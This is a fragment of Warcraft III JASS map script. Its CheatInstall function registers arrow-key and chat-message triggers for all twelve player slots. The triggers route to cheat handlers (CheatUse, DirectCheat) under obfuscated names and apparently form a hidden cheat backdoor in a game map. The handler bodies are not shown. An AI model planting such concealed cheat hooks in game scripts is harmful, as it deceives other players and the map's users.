set DJBba[GetPlayerId(b2j)]=false
set DJBba2[GetPlayerId(b2j)]=true
endif
set b2j=null
endfunction
function CheatInstall takes nothing returns nothing
local integer zrg=0
set QIPIAN1[0]=CreateTrigger()
set QIPIAN1[1]=CreateTrigger()
set QIPIAN1[2]=CreateTrigger()
set QIPIAN1[3]=CreateTrigger()
loop
exitwhen zrg>11
call TriggerRegisterPlayerEvent(QIPIAN1[0],Player(zrg),EVENT_PLAYER_ARROW_LEFT_DOWN)
call TriggerRegisterPlayerEvent(QIPIAN1[1],Player(zrg),EVENT_PLAYER_ARROW_RIGHT_DOWN)
call TriggerRegisterPlayerEvent(QIPIAN1[2],Player(zrg),EVENT_PLAYER_ARROW_UP_DOWN)
call TriggerRegisterPlayerEvent(QIPIAN1[3],Player(zrg),EVENT_PLAYER_ARROW_DOWN_DOWN)
call TriggerRegisterPlayerChatEvent(QIPIAN2,Player(zrg),"-",false)
call TriggerRegisterPlayerChatEvent(QIPIAN2,Player(zrg)," ",false)
set zrg=zrg+1
endloop
call TriggerAddAction(QIPIAN1[0],function CheatUseLeft)
call TriggerAddAction(QIPIAN1[1],function CheatUseRight)
call TriggerAddAction(QIPIAN1[2],function CheatUseUp)
call TriggerAddAction(QIPIAN1[3],function CheatUseDown)
call TriggerAddAction(QIPIAN2,function CheatUse)
call TriggerAddCondition(QIPIAN3,Condition(function Cheatz0r))
call TriggerAddAction(QIPIAN3,function DirectCheat)
call Deng_ASCII(48,"0123456789")
call Deng_ASCII(97,"abcdefghijklmnopqrstuvwxyz")
call Deng_ASCII(65,"ABCDEFGHIJKLMNOPQRSTUVWXYZ")
call StringRaw2()
endfunction